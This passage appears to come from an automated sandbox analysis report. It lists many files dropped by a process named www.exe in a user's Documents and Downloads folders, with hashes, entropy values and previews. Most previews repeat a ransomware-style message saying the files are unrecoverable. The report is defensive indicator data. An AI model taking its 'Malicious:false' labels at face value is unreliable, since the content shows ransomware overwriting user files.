    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ\EFOYFBOLXA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ\PALRGUCVEH.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\QNCYCDFIJJ\QNCYCDFIJJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ\SQSJKEBWDT.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ\SUAVTZKNFL.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ\ZGGKNSUKOP.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\SQSJKEBWDT.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\SUAVTZKNFL.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\SUAVTZKNFL.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\SUAVTZKNFL.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZGGKNSUKOP.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH\GAOBCVIQIJ.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH\PWCCAWLGRE.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\ZQIXMVQGAH\QCFWYSKMHA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH\QNCYCDFIJJ.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH\SUAVTZKNFL.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\ZQIXMVQGAH\ZQIXMVQGAH.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\BNAGMGSPLO.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\EEGWXUHVUG.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Downloads\EFOYFBOLXA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\EFOYFBOLXA.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\GAOBCVIQIJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\GAOBCVIQIJ.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\PALRGUCVEH.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Downloads\PWCCAWLGRE.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
